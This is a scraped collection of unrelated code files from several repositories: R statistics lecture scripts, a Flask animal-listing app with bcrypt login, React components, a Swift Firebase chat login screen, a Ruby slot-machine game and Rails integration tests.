boot.sample <- x[boot.index]
rangeX[i] <- diff(range(boot.sample))
}
quantile(x = rangeX, probs = c(0.025,0.5,0.975))
hist(rangeX, breaks = 20)
# Illustration of the idea on a different dataset.
stroke <- read.csv("https://raw.githubusercontent.com/ly129/EPIB613_2019/master/stroke.csv")
head(stroke)
fit <- glm(dead~sex+diab+coma+minf, data = stroke, family = binomial())
exp(coef(fit))
# ROR of myocardial infarction vs. diabetes
ROR_minf_diab <- exp(coef(fit))[5] / exp(coef(fit))[3]
ROR_minf_diab
exp(confint(fit))
n <- nrow(stroke)
boot.iter <- 1000
ROR <- numeric(boot.iter)
set.seed(613)
for (i in 1:boot.iter) {
boot.index <- sample(1:n, n, replace = T)
boot.sample <- stroke[boot.index, ]
fit <- glm(dead~sex+diab+coma+minf, data = boot.sample, family = binomial())
ROR[i] <- exp(coef(fit))[5] / exp(coef(fit))[3]
}
quantile(x = ROR, probs = c(0.025,0.5,0.975))
hist(ROR, breaks = 20)
library(survival)
# 1=censored, 2=dead
lung <- lung[complete.cases(lung), ]
head(lung)
head(Surv(time = lung$time, event = lung$status))
km <- survfit(Surv(time, status)~1, conf.int = 0.95, data = lung)
# summary(km)
plot(km, conf.int = T, main = "Kaplan-Meier Survival Curve")
km.sex <- survfit(Surv(time, status)~sex, conf.int = 0.95, data = lung)
plot(km.sex, col = 2:3)
legend("topright", legend=c("Male", "Female"), col=2:3, lty=c(1,1))
# Complementary log-log plot is used to check assumptions visually
# If parallel, proportional hazard assumption holds -> Cox Model (Section 12.2.3)
plot(km.sex, fun = "cloglog", col = 2:3, xlab = "Time", ylab = "log[-log S(t)]",
main = "Complementary log-log survival plot", log = "x", xmax = 2000)
legend("topleft", legend = c("Male", "Female"), lty = c(1,1), col = 2:3)
# Optional
# Cumulative hazard plot
plot(km.sex, fun = "cumhaz", main="Cumulative Hazard vs. Time", col = 2:3)
legend("topleft", legend = c("Male", "Female"), lty = c(1,1), col = 2:3)
survdiff(Surv(time, status)~sex, data = lung)
fit.cox1 <- coxph(Surv(time,status)~sex, data = lung)
summary(fit.cox1)
# Multiple Cox regression
fit.cox2 <- coxph(Surv(time,status)~., data = lung)
summary(fit.cox2)
fit.cox3 <- coxph(Surv(time,status)~inst+sex+ph.ecog+ph.karno+wt.loss, data = lung)
# Model Comparison
print(anova(fit.cox1, fit.cox3))
# So here the full model has significantly better likelihood.
# Therefore, reject the reduced model.
cox.zph(fit.cox3)
par(mfrow = c(2,3))
plot(cox.zph(fit.cox3))
cd4 <- read.table("https://raw.githubusercontent.com/ly129/EPIB613_2019/master/cd4.txt", header = TRUE)
cd4$Date <- as.Date(cd4$Date, tryFormats = "%m/%d/%Y")
cd4$Treatment <- cd4$Treatment - 1
head(cd4, 10)
# Total observations
dim(cd4)
# Total patients
length(unique(cd4$ID))
plot(y = cd4[cd4$ID == 1,]$CD4Pct,
x = cd4[cd4$ID == 1,]$Date,
type = 'b', xlab = "Date", ylab = "CD4 Percentage", col = 1,
ylim = range(cd4$CD4Pct[1:27]),
xlim = range(cd4$Date[1:27]))
for (i in 2:6) {
lines(y = cd4[cd4$ID == i,]$CD4Pct,
x = cd4[cd4$ID == i,]$Date,
col = i, type = "b")
}
library(lme4)
# Random intercept model
# We can see that the syntax is exactly the same as in lm()
fit1 <- lmer(formula = CD4Pct~Date+BaseAge+Treatment+(1|ID), data = cd4)
summary(fit1)
plot(fit1@u, main = "Fitted Random Intercepts")
# Random intercept + random slope for treatment
# We can see that the syntax is exactly the same as in glm()
fit2 <- lmer(formula = CD4Pct~Date+BaseAge+Treatment+(1+Treatment|ID),REML = T, data = cd4)
summary(fit2)
# lme4 package also has generalized linear mixed effects model
# We can see that the syntax is exactly the same as in glm()
glmer(formula = Treatment~BaseAge+ARV+(1|ID), family = binomial(), data = cd4)
# # Another package is nlme
library(nlme)
fit.intercept <- lme(fixed = CD4Pct~Date+BaseAge+Treatment, random = ~1|ID, data = cd4)
fit.intercept.slope <- lme(fixed = CD4Pct~Date+BaseAge+Treatment, random = ~1+Treatment|ID, data = cd4)
set.seed(613)
x <- sort(runif(100, -10,10))
y <- x^2 + rnorm(100, 0, 5)
plot(function(a){a^2}, xlim = c(-10,10), lwd = 3, col = "red", ylim = c(-10, 110))
points(x = x, y = y)
xy <- data.frame(x = x, y = y)
xy$x.square <- x^2
fit1 <- lm(y~x, data = xy); abline(fit1, col = "blue", lwd = 3)
fit2 <- lm(y~x+x.square, data = xy)
xx <- seq(-10, 10, by = 0.1)
fit2
yy <- predict(fit2, newdata = data.frame(x = xx, x.square = xx^2))
lines(x = xx, y = yy, col = "green", lwd = 3)
legend("top", legend = c("y = x^2", "lm(y~x)", "lm(y~x+x^2)"),
lty = 1, col = c("red", "blue", "green"), lwd = c(3,3,3))
library(splines)
# 5 knots
head(bs(x, knots = 5))
fit.splines <- lm(y~bs(x, knots = 5))
plot(function(a){a^2}, xlim = c(-10,10), lwd = 3, col = "red",
ylim = c(-10, 110))
points(x = x, y = y)
lines(x, y = predict(fit.splines, newdata = bs(x, knots = 5)), col = "green", lwd = 3)
legend("top", legend = c("True", "Splines"), lwd = c(3,3), lty = c(1,1), col = c("red", "green"))
<file_sep>/Lecture10.r
# Set seed for reproducibility
set.seed(613)
# 100 diamond rings ranging from 1 to 1.5 carats
n <- 100
carat <- runif(n = n, min = 1, max = 1.5)
color <- as.factor(sample(c("G", "H"), size = n, replace = TRUE))
# Normally distributed deviation from my perfect model caused by other factors
error <- rnorm(n = n, mean = 0, sd = 0.5)
# On average:
# 1.00 carat: $10k;
# ................;
# 1.50 carat: $20k;
# Comparing to the average price.
# G color increases the price by 500
# H color decreases the price by 500
price <- -5 + 20 * carat + error + ifelse(color == "G", 0.5, -0.5)
plot(x = carat, y = price, main = "Price vs Carat - Fake Data")
fit1 <- lm(price~carat); fit1
# If our data is a data.frame, note the data argument.
diamond <- data.frame(Price = price, Carat = carat, Color = color)
head(diamond)
aggregate(Price~Color, data = diamond, mean)
table(diamond$Color)
fit1 <- lm(Price~Carat, data = diamond)
summary(fit1)
plot(x = carat, y = price, main = "Price vs Carat - Fake Data")
# Draw the best fit line from our linear model.
abline(fit1, col = "red")
# Explore the structure of fit1 and summary(fit1) to see how to extract values.
# str(fit1)
# str(summary(fit1))
summary(fit1)$coefficients
# Confidence intervals - default is 95%
confint(fit1, level = 0.95)
par(mfrow = c(2,2))
plot(fit1)
fit2 <- lm(Price~Carat+Color, data = diamond)
summary(fit2)
# Adjust for all other variables in the dataset other than Price.
# lm(Price~., data = diamond)
# Adjust for interaction terms - effect measure modification EPIB 603.
# lm(Price~ Carat + Color + Carat:Color, data = diamond)
# Equivalent to
# lm(Price~ Carat * Color, data = diamond)
predict(fit2, newdata = data.frame(Carat=1.22, Color="G"), interval = "confidence")
predict(fit2, newdata = data.frame(Carat=1.22, Color="G"), interval = "prediction")
CI <- predict(fit1, newdata = data.frame(Carat=seq(1,1.5,0.1)), interval = "confidence")
PI <- predict(fit1, newdata = data.frame(Carat=seq(1,1.5,0.1)), interval = "prediction")
plot(x = carat, y = price, main = "Price vs Carat - Fake Data")
# Draw the best fit line from our linear model.
abline(fit1, col = "red")
lines(x = seq(1,1.5,0.1), y = CI[,2], col = "green")
lines(x = seq(1,1.5,0.1), y = CI[,3], col = "green")
lines(x = seq(1,1.5,0.1), y = PI[,2], col = "blue")
lines(x = seq(1,1.5,0.1), y = PI[,3], col = "blue")
legend("bottomright", col = c("red", "green", "blue"), lty = c(1,1,1),
legend = c("Fitted Line", "Confidence Interval", "Prediction Interval"))
price.G <- subset(x = diamond, Color == "G")$Price
price.H <- subset(x = diamond, Color == "H")$Price
mu.G <- mean(price.G)
mu.H <- mean(price.H)
mu.tot <- mean(diamond$Price)
data.frame(G=mu.G, H=mu.H, Total=mu.tot)
t.test(price.G, price.H)
myanova <- aov(Price~Color, data = diamond)
summary(myanova)
# Reproduce the test result from scratch
# ss means sum of squares
ss.within = sum((price.G-mu.G)^2) + sum((price.H-mu.H)^2)
ss.between = (mu.G-mu.tot)^2 * 48 + (mu.H-mu.tot)^2 * 52
ss.total = sum((price-mu.tot)^2)
data.frame(Within = ss.within, Between = ss.between, Total = ss.total)
head(diamond$Carat, 20)
anova(fit1)
anova(fit2)
print(anova(fit1, fit2))
<file_sep>/Lecture5.r
df <- data.frame(names = c("Lucy", "John", "Mark", "Candy"),
score = c(67, 56, 87, 91))
for (i in 1:4){
df$student.no[i] <- paste("student", i)
df$pass[i] <- ifelse(df$score[i] >= 60, TRUE, FALSE)
}
df
names(df)
# Recall the indexing system in R
df$names # Select one variable
# Delete one variable
df.copy <- df
df.copy$names <- NULL
df.copy
df[, 2]
df[ , "score"]
str(df[ , "score"]) # 1D vector
df[ , "score", drop = FALSE]
str(df[ , "score", drop = FALSE]) # 4 x 1 data frame
# The argument "drop = FALSE" maintains the original dimension
# The default is true
df[1, ]
str(df[1, ]) # 1 x 4 data frame
# Can we drop a dimension here? Why?
df[1, , drop = TRUE]
# Delete variable "names" + reorder columns
df[ , c("student.no", "score", "pass")]
df$pass == TRUE
# Select rows that passed
df[df$pass == TRUE, ]
df[df$names == "Lucy", ]
# Delete variable
df[ , -c(1, 2)] # Delete the 1st and 2nd
# I believe that this used to work, but not anymore.
# df[ , -c("names", "score")]
# Now
drop <- c("names", "score")
df[ , !names(df) %in% drop]
names(df)
!names(df) %in% drop
select = c("student.no", "pass")
df[ , names(df) %in% select]
# How does this work?
1 %in% c(1, 3, 5)
"b" %in% c("a", "c", "e")
1:10 %in% c(1, 3, 5)
df[df$pass == TRUE & df$name != "Lucy" , c("names", "score")]
passed <- df$pass == TRUE
passed
notLucy <- df$name != "Lucy"
notLucy
rowCondition <- passed & notLucy
rowCondition
df[rowCondition, ]
df
# "select" argument selects columns
subset(df, select = c(student.no, pass))
# Can also delete unwanted columns
subset(df, select = -c(names, score))
# "subset" argument selects rows
# Can apply conditions
subset(df, subset = (score > 80))
# Now use both select and subset arguments to apply conditions
# Select the names of those who passed
subset(df, select = names, subset = (pass == TRUE))
# Show the name and score of those who passed except Lucy(s).
# Recall logical operators &, | and !
subset(df, select = c(names, score), subset = pass == TRUE & names != "Lucy")
library(dplyr)
# Show the name and score of those who passed except Lucy(s).
df.col <- filter(df, names != "Lucy" & pass == TRUE)
df.col
df.final <- select(df.col, c(names, score))
df.final
df
new.students <- data.frame(names = c("Name", "Nom"),
score = c(79, 48),
student.no = c("student 5", "student 6"),
pass = c(TRUE, FALSE))
new.students
df.new <- rbind(df, new.students); df.new
# Option 1
df.copy$id1 <- 1:4
df.copy
# Option 2
df.copy <- data.frame(df.copy, id2 = 1:4)
df.copy
# Option 3
id3 <- 1:4
cbind(df.copy, id3)
# df stores student's EPIB 613 score
df
# df.major stores student's program of study
df.major <- data.frame(student.no = c("student 1", "student 2", "student 3", "student 4", "student 5", "student 6"),
major = c("MSc PH", "PhD Epi", "MSc Epi", "MSc PH", "PhD Biostat", "MSc Biostat"))
df.major
# See what does the argument 'all' do.
df.full <- merge(df, df.major, by = "student.no", all = TRUE)
df.full
# Some simple simulation
# People who take the drug, that are obese and that are younger are more likely to be cured.
# Setting seeds make random number generation reproducible.
set.seed(613)
n <- 100
drug <- sample(c(0, 1), size = n, replace = TRUE, prob = c(0.8, 0.2))
obesity <- sample(c(0, 1), size = n, replace = TRUE, prob = c(0.5, 0.5))
age <- round(rnorm(n, mean = 60, sd = 10))
logit.p <- log(1.8)*drug + log(0.85)*(age - 60) + log(1.2)*obesity + log(0.2)
p <- exp(logit.p)/(1 + exp(logit.p))
cured <- rbinom(n, size = 1, prob = p)
sim <- data.frame(drug, obesity, age, cured)
head(sim, 10)
# Tabulate exposure and outcome
table(sim[, c("drug", "cured")])
# ~30% among unexposed to the drug are cured
# 40% among exposed are cured
exposed.group <- sim[sim$drug == 1, ]
head(exposed.group)
mean(exposed.group$age)
exposed.group1 <- subset(x = sim, subset = (drug == 1))
mean(exposed.group1$age)
mean(subset(x = sim, subset = (drug == 1))$age)
mean(subset(x = sim, subset = (drug == 1), select = age, drop = T))
# Syntax 1
aggregate(x = sim$age, by = list(drug.justaname = sim$drug), FUN = mean)
# Alternative syntax
# I highly recommend this one
aggregate(age~drug, data = sim, FUN = mean)
# Mean age by exposure-obesity group, so 2 binary conditions and 4 subgroups
aggregate(x = sim$age, by = list(drug = sim$drug, obesity = sim$obesity), FUN = mean)
aggregate(age~drug+obesity, data = sim, FUN = mean)
# aggregate() can also take multiple target variables
aggregate(x = cbind(sim$age, sim$cured),
by = list(drug = sim$drug, obesity = sim$obesity), FUN = mean)
aggregate(cbind(age, cured)~drug+obesity, data = sim, FUN = mean)
table(sim[, c("drug", "obesity", "cured")])
aggregate(age~drug+obesity+cured, data = sim, FUN = length)
# What aggregate does? Use print() to print out what R aggregates.
aggregate(age~drug, data = sim, FUN = print)
# aggregate the target variables in to vectors, based on conditions.
# length() function gives the length of a vector
length(c(1,4,123))
| de6b2af67bcf51c8cbdc76d09923bbd5794b3876 | [
"Markdown",
"R"
] | 11 | Markdown | thomasmcgill/EPIB613_2019 | ea7a450693cece491bab7e939f1ed8aea52a2b86 | 6798d1e05e21b8a06ec503a8d5db27f86f5a6af1 |
refs/heads/master | <file_sep>import React, { Component } from "react";
import AreasModal from "./areasModal";
import Graphic6 from "./../../assets/img/layout/graphic6.svg";
import Graphic7 from "./../../assets/img/layout/graphic7.svg";
import Graphic8 from "./../../assets/img/layout/graphic8.svg";
import Graphic9 from "./../../assets/img/layout/graphic9.svg";
const areasData = {
areases: [
{
id: 1,
title: "Customer Success Management",
desc:
"A seamless delivery process is led by our team of project managers who are adept at bringing together the work of our strategy, design and development teams. Our experienced team are flexible to adopt client project procedures, adapting methodologies accordingly; implementing a Waterfall, Agile or Hybrid approach.",
svg: <Graphic6 className="areasIcon" />
},
{
id: 2,
title: "Quality Assurance (QA)",
desc:
"To facilitate the delivery of a seamless experience and completely functional solution, our quality assurance team tests all apps to ensure they adhere strictly to specifications and requirements. The QA team’s extensive testing process involves using a combination of manual and automated methods, throughout the development process, to ensure the development of best in class mobile apps.",
svg: <Graphic8 className="areasIcon" />
},
{
id: 3,
title: "Continuous improvement",
desc:
"DS integrates analytics into every solution that is built, as standard. Maintaining digital solution is a continual process that requires updates based on user behavior and a thorough understanding of the analytics available, delivered by our support and maintenance offering.",
svg: <Graphic9 className="areasIcon" />
}
]
};
class areas extends Component {
constructor(props) {
super(props);
this.state = {
selectedareas: "",
modalToggled: false
};
}
closeModal() {
this.setState({
modalToggled: false
});
}
nextModal(selected) {
var index = areasData.areases.indexOf(selected);
if (index + 2 > areasData.areases.length) {
var nextareasName = areasData.areases[0];
} else {
var nextareasName = areasData.areases[index + 1];
}
this.setState({
selectedareas: nextareasName
});
}
prevModal(selected) {
var index = areasData.areases.indexOf(selected);
if (index - 1 < 0) {
var nextareasName = areasData.areases[areasData.areases.length - 1];
} else {
var nextareasName = areasData.areases[index - 1];
}
this.setState({
selectedareas: nextareasName
});
}
toggleModal(selected) {
if (window.innerWidth < 1000){
this.setState({
modalToggled: true,
selectedareas: selected
});
}
}
render() {
var areasesList = areasData.areases.map((areas, index) => (
<li
className="areas"
key={areas.id}
onClick={() => this.toggleModal(areas)}
>
{areas.svg}
<h3 dangerouslySetInnerHTML={{ __html: areas.title }} />
<Graphic7 className="backIcon" />
<p dangerouslySetInnerHTML={{ __html: areas.desc }} />
</li>
));
var areasModal = (
<AreasModal
areas={this.state.selectedareas}
areases={areasData.areases}
changeareas={this.toggleModal.bind(this)}
prevModal={this.prevModal.bind(this)}
nextModal={this.nextModal.bind(this)}
closeModal={this.closeModal.bind(this)}
/>
);
var areasList = (
<ul className={"areasList " + mobileAway}>{areasesList}</ul>
);
var isModalToggled = this.state.modalToggled ? areasModal : areasList;
var mobileAway = this.state.modalToggled ? "hideMe" : null;
return (
<div className="areasContainer">
{isModalToggled}
</div>
);
}
}
export default areas;
<file_sep>import React, { Component } from "react";
import Graphic1 from "./../../../assets/img/layout/graphic1.svg";
import Graphic2 from "./../../../assets/img/layout/graphic2.svg";
import Graphic3 from "./../../../assets/img/layout/graphic3.svg";
import Graphic4 from "./../../../assets/img/layout/graphic4.svg";
import Graphic5 from "./../../../assets/img/layout/graphic5.svg";
class AboutSection extends Component {
render() {
return (
<section id="what">
<div className="screen1 screen">
<p>
Combining digital agency services and innovation business consulting
we transform business process and end-user engagement successfully.
From prototyping to enterprise solutions:
</p>
<Graphic1 />
</div>
<div className="screen2 screen">
<ul>
<li>
<Graphic2 />
<h3>reimagine</h3>
<p>
Utilizing design:success’ proprietary innovation process we
identify innovation digital solutions. <br /> Rapid digital
mock-ups, UI/UX’s and flow’s tested live with real consumers.
</p>
</li>
<li>
<Graphic3 />
<h3>(re)invent</h3>
<p>
Based on deep insights and data we (re)invent the IT & digital
experience from UI/UX front end to integration back-end – with
in-depth architecture and flows.
</p>
</li>
<li>
<Graphic4 />
<h3>realize</h3>
<p>
We design and build THE real experience and solution, and by
clients choice either as functional prototyping or as final
end-to-end enterprise product.
</p>
</li>
</ul>
</div>
<div className="screen3 screen">
<div className="box">
<h2>the results are simple</h2>
<Graphic5 />
</div>
<h3>rapid</h3>
<p>faster than any other innovation and IT process</p>
<h3>repositioning</h3>
<p>
the brand, company and experience towards customers and investors
</p>
<h3>(r)evolutionize</h3>
<p>
changing the brand, category and experience forever – increasing
ROI, faster
</p>
</div>
</section>
);
}
}
export default AboutSection;
| 58229789e9e383deaf5dd11d32fb6c9f9f62fec5 | [
"JavaScript"
] | 2 | JavaScript | DesignSuccess/digitalit | ace89f6a43913c11c2ee4d170d6cd21822b9d22b | 2919d14ff9fa72b0c439c27ed8c5830f7dcb6562 |
refs/heads/master | <repo_name>williamfligor/cowtalk<file_sep>/precache-manifest.2c93b7cac68f8279841b5c84a8b5e55d.js
self.__precacheManifest = (self.__precacheManifest || []).concat([
{
"revision": "a5ac327d56c7b0f97afd16aec75b7842",
"url": "/index.html"
},
{
"revision": "85586f7cef999fad7bcd",
"url": "/static/css/main.f9eb2477.chunk.css"
},
{
"revision": "30f78505c168765bd54f",
"url": "/static/js/2.e5a358c3.chunk.js"
},
{
"revision": "e88a3e95b5364d46e95b35ae8c0dc27d",
"url": "/static/js/2.e5a358c3.chunk.js.LICENSE.txt"
},
{
"revision": "85586f7cef999fad7bcd",
"url": "/static/js/main.df6bd3c9.chunk.js"
},
{
"revision": "d14255b45132253ec0ce",
"url": "/static/js/runtime-main.b37cd48c.js"
}
]); | f8649fe94d9799fdd30017372b4ef93aefa98c6e | [
"JavaScript"
] | 1 | JavaScript | williamfligor/cowtalk | 5d066ae4d87ee1e220f16318186e7d0684dd23a4 | c5107c7fe3d0392395f444f03d2e4164a4e70c18 |
refs/heads/master | <repo_name>NaStillmatic/FirebaseCloudMessagingTest<file_sep>/FirebaseCloudMessagingTest/Controller/LoginViewViewController.swift
//
// LoginViewViewController.swift
// FirebaseCloudMessagingTest
//
// Created by Pang on 2017. 10. 23..
// Copyright © 2017년 HwangByungJo. All rights reserved.
//
import UIKit
import Firebase
class LoginViewViewController: UIViewController {
@IBOutlet weak var nameField: UITextField!
override func viewDidLoad() {
super.viewDidLoad()
}
@IBAction func loginDidTouch(_ sender: AnyObject) {
if nameField?.text != "" { // 1
Auth.auth().signInAnonymously(completion: { (user, error) in // 2
if let err = error { // 3
print(err.localizedDescription)
return
}
self.performSegue(withIdentifier: "LoginToChat", sender: nil) // 4
})
}
}
// MARK: Navigation
override func prepare(for segue: UIStoryboardSegue, sender: Any?) {
super.prepare(for: segue, sender: sender)
let navVc = segue.destination as! UINavigationController // 1
let channelVc = navVc.viewControllers.first as! ChannelListViewController // 2
channelVc.senderDisplayName = nameField?.text // 3
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
// Dispose of any resources that can be recreated.
}
}
<file_sep>/README.md
# FirebaseCloudMessagingTest

- Please add the GoogleService-Info.plist file.
<file_sep>/FirebaseCloudMessagingTest/Layout/CreateChannelCell.swift
//
// CreateChannelCell.swift
// FirebaseCloudMessagingTest
//
// Created by Pang on 2017. 10. 23..
// Copyright © 2017년 HwangByungJo. All rights reserved.
//
import UIKit
class CreateChannelCell: UITableViewCell {
@IBOutlet weak var newChannelNameField: UITextField!
@IBOutlet weak var createChannelButton: UIButton!
}
| d3ed3d709a0312c5f6abba5a62d5a5558e968f7e | [
"Swift",
"Markdown"
] | 3 | Swift | NaStillmatic/FirebaseCloudMessagingTest | 837b8a0485bb26ce5831fa709f95540f78f87e52 | d3ce707bc5184f93830f5bc4b5e27b339cca81c6 |
refs/heads/master | <file_sep>import os
import base64
import flask
import bcrypt
from init import app, db
import models
@app.before_request
def setup_user():
"""
Figure out if we have an authorized user, and look them up.
This runs for every request, so we don't have to duplicate code.
"""
if 'auth_user' in flask.session:
user = models.User.query.get(flask.session['auth_user'])
# save the user in `flask.g`, which is a set of globals for this request
flask.g.user = user
@app.route('/')
def index():
# rendering 'index.html' template with jinja variable 'animals'
# assigned to Python object in 'animals'
# make a cross-site request forgery preventing token
if 'csrf_token' not in flask.session:
flask.session['csrf_token'] = base64.b64encode(os.urandom(32)).decode('ascii')
# make a response that we can add a cookie to
# this is only for our little cookie example, it isn't needed if you are using
# sessions.
animals = models.Animal.query.all()
resp = flask.make_response(flask.render_template('index.html', animals=animals,
csrf_token=flask.session['csrf_token']))
return resp
# function that handles URLs of the form /animals/number/
@app.route('/animals/<int:aid>/')
def animal(aid):
# try to get animal by ID
animal = models.Animal.query.get(aid)
if animal is None:
# no animal, we're done
flask.abort(404)
else:
return flask.render_template('animal.html', animal=animal)
@app.route('/a/<int:aid>')
def short_animal(aid):
return flask.redirect(flask.url_for('animal', aid=aid), code=301)
@app.route('/search')
def search():
query = flask.request.args['query']
animal = models.Animal.query.filter_by(name=query).first()
if animal is None:
flask.abort(404)
else:
return flask.redirect(flask.url_for('animal', aid=animal.id))
@app.route('/add', methods=['POST'])
def add_animal():
if 'auth_user' not in flask.session:
app.logger.warn('unauthorized user tried to add animal')
flask.abort(401)
if flask.request.form['_csrf_token'] != flask.session['csrf_token']:
app.logger.debug('invalid CSRF token in animal form')
flask.abort(400)
name = flask.request.form['name']
home = flask.request.form['home']
# create a new animal
animal = models.Animal()
# set its properties
animal.name = name
animal.location = home
animal.creator_id = flask.session['auth_user']
# add it to the database
db.session.add(animal)
# commit the database session
db.session.commit()
return flask.redirect(flask.url_for('animal', aid=animal.id), code=303)
@app.route('/login')
def login_form():
# GET request to /login - send the login form
return flask.render_template('login.html')
@app.route('/login', methods=['POST'])
def handle_login():
# POST request to /login - check user
login = flask.request.form['user']
password = flask.request.form['password']
# try to find user
user = models.User.query.filter_by(login=login).first()
if user is not None:
# hash the password the user gave us
# for verifying, we use their real hash as the salt
pw_hash = bcrypt.hashpw(password.encode('utf8'), user.pw_hash)
# is it good?
if pw_hash == user.pw_hash:
# yay!
flask.session['auth_user'] = user.id
# And redirect to '/', since this is a successful POST
return flask.redirect(flask.request.form['url'], 303)
# if we got this far, either username or password is no good
# For an error in POST, we'll just re-show the form with an error message
return flask.render_template('login.html', state='bad')
@app.route('/create_user', methods=['POST'])
def create_user():
login = flask.request.form['user']
password = flask.request.form['password']
# do the passwords match?
if password != flask.request.form['confirm']:
return flask.render_template('login.html', state='password-mismatch')
# is the login ok?
if len(login) > 20:
return flask.render_template('login.html', state='bad-username')
# search for existing user
existing = models.User.query.filter_by(login=login).first()
if existing is not None:
# oops
return flask.render_template('login.html', state='username-used')
# create user
user = models.User()
user.login = login
# hash password
user.pw_hash = bcrypt.hashpw(password.encode('utf8'), bcrypt.gensalt(15))
# save user
db.session.add(user)
db.session.commit()
flask.session['auth_user'] = user.id
return flask.redirect(flask.request.form['url'], 303)
@app.route('/user/<name>')
def show_user(name):
user = models.User.query.filter_by(login=name).first()
if user is None:
flask.abort(404)
return flask.render_template('user.html', user=user)
@app.route('/logout')
def handle_logout():
# user wants to say goodbye, just forget about them
del flask.session['auth_user']
# redirect to specfied source URL, or / if none is present
return flask.redirect(flask.request.args.get('url', '/'))
@app.errorhandler(404)
def not_found(err):
return (flask.render_template('404.html', path=flask.request.path), 404)
<file_sep>from init import db,app
class User(db.Model):
id = db.Column(db.Integer, primary_key=True, autoincrement=True)
login = db.Column(db.String(20))
pw_hash = db.Column(db.String(64))
class Animal(db.Model):
id = db.Column(db.Integer, primary_key=True, autoincrement=True)
name = db.Column(db.String(50))
location = db.Column(db.String(50))
# creator_id holds the ID of a valid user
# reference table names by lowercasing the class name
creator_id = db.Column(db.Integer, db.ForeignKey('user.id'))
# a *relationship* lets us resolve the creator id
# this will also create an 'animals' on User to access their
# animals.
creator = db.relationship('User', backref='animals')
db.create_all(app=app)<file_sep>{% extends 'base.html' %}
{% block title %}User {{ user.login }}{% endblock %}
{% block content %}
<h1>User {{ user.login }}</h1>
<h2>Animals</h2>
<p>{{ user.login }} has created the following animals:</p>
<ul>
{# loop over animals — possible b/c the relationship has a backref #}
{% for animal in user.animals %}
<li><a href="{{ url_for('animal', aid=animal.id) }}">{{ animal.name }}</a></li>
{%- endfor %}
</ul>
{% endblock %}
| eb3f800d99a160674ffe58471d2fa3df66e4391a | [
"Python",
"HTML"
] | 3 | Python | 2sourapples/WebDev | 185ab7c03b76bf72cf11e516c82042945536f14b | 563c40a9fff33662721bd9c33f50a4adb51ea111 |
refs/heads/master | <repo_name>ARozputnii/loto.rb<file_sep>/лото.rb
print "Enter your age: "
age= gets.chomp.to_i
if
age < 18
puts "You are blocked LOOSER"
sleep 3
exit
elsif
age > 18 && age < 50
print "Hello friend, enter your name: "
elsif
age >= 50
print "Hello oldman, come on, lose your pension, enter your name: "
end
name= gets.chomp
puts "Ok, let's played, #{name}"
puts "Your balance: 100$"
mybank=100
loop do
print "Your bet: "
bet= gets.chomp.to_i
if
bet <= 0
bet= 5
puts "Minimal bet = 5"
elsif
bet < 5
bet= 5
puts "Minimal bet = 5"
elsif
bet >=mybank
puts "Okey, ALL IN"
sleep 3
end
mybank = mybank - bet
x= rand(0..7)
y= rand(0..7)
z= rand(0..7)
sleep 0.2
print x
sleep 0.4
print y
sleep 0.6
puts z
if
x== 1 && y== 1 && z== 1
mybank= mybank+bet*10
puts "Congratulation! You win 100$!"
elsif
x== 2 && y== 2 && z== 2
mybank= mybank+bet*20
puts "Congratulation! You win 200$!"
elsif
x== 3 && y== 3 && z== 3
mybank= mybank+bet*30
puts "Congratulation! You win 300$!"
elsif
x== 4 && y== 4 && z== 4
mybank= mybank+bet*40
puts "Congratulation! You win 400$!"
elsif
x== 5 && y== 5 && z== 5
mybank= mybank+bet*50
puts "Congratulation! You win 500$!"
elsif
x== 6 && y== 6 && z== 6
mybank= mybank+bet*60
puts "Congratulation! You win 600$!"
elsif
x== 7 && y== 7 && z== 7
mybank= mybank+bet*100
puts "Congratulation! You win 1000$!"
elsif
mybank < 5
puts "You lose. Your money is my money, Goodbuy!"
sleep 5
exit
elsif
x==1 && y==1 or x==1 && z==1 or y==1 && z==1
mybank= mybank+bet
puts "You win #{bet}$"
elsif
x==2 && y==2 or x==2 && z==2 or y==2 && z==2
mybank= mybank+bet
puts "You win #{bet}$"
elsif
x==3 && y==3 or x==3 && z==3 or y==3 && z==3
mybank= mybank+bet
puts "You win #{bet}$"
elsif
x==4 && y==4 or x==4 && z==4 or y==4 && z==4
mybank= mybank+bet*2
puts "You win #{bet*2}$"
elsif
x==5 && y==5 or x==5 && z==5 or y==5 && z==5
mybank= mybank+bet*2
puts "You win #{bet*2}$"
elsif
x==6 && y==6 or x==6 && z==6 or y==6 && z==6
mybank= mybank+bet*2
puts "You win #{bet*2}$"
elsif
x==7 && y==7 or x==7 && z==7 or y==7 && z==7
mybank= mybank+bet*5
puts "You win #{bet*5}$"
end
puts "Your balance: #{mybank}"
end
gets<file_sep>/README.md
# -.rb | ddca576e586f349f9251ffabd79b1818568bb0ba | [
"Markdown",
"Ruby"
] | 2 | Ruby | ARozputnii/loto.rb | c0deb06d046cf64164927e043368fd6f47102ef0 | be13247ffd33b02b16427aa0338dfb1058e88982 |
refs/heads/master | <file_sep>require 'test_helper'
class CreateArticlesTest < ActionDispatch::IntegrationTest
def setup
@category = Category.new(name: "sports")
@category.id=1
@category.save
@article = Article.new(title: "sports", description:"hghghghghghghg",user_id:1, category_ids: [1])
@user = User.create(username: "john", email: "<EMAIL>", password: "<PASSWORD>", admin: true)
end
def sign_in_as(user, password)
post login_path, params: { session: { email: user.email, password: <PASSWORD> } }
end
test "get new article form and create article" do
sign_in_as(@user, "<PASSWORD>")
get new_article_path
assert_template 'articles/new'
#create action
assert_difference 'Article.count', 1 do
post articles_path, params: {article: {title: "sports", description:"hghghghghghghg"} }
follow_redirect!
end
assert_template 'articles/show'
assert_match "sports", response.body
end
end<file_sep>require 'test_helper'
class CreateUsersTest < ActionDispatch::IntegrationTest
test "create new user" do
get signup_path
assert_template 'users/new'
#create action
assert_difference 'User.count', 1 do
post users_path, params: {user: {username: "johnfff", email: "<EMAIL>", password: "<PASSWORD>"} }
follow_redirect!
end
assert_template 'users/show'
assert_match "johnfff", response.body
end
end<file_sep>class ApplicationController < ActionController::Base
#helper metode mogu koristiti u viewima ne u konrolerima,
#zbog toga sam napravio helper_method
helper_method :current_user, :logged_in?
def current_user #ovo mi je ulogovani user
@current_user ||= User.find(session[:user_id]) if session[:user_id]
end
def logged_in?
!!current_user
end
def require_user
if !logged_in?
flash[:danger] = "You must be logged in to perform that action"
redirect_to root_path
end
end
end
<file_sep>require 'test_helper'
class UserTest < ActiveSupport::TestCase
def setup
@user = User.create(username: "bobki", email:"<EMAIL>", password:"<PASSWORD>")
end
test "usershould be valid" do
assert @user.valid?
end
end<file_sep># README
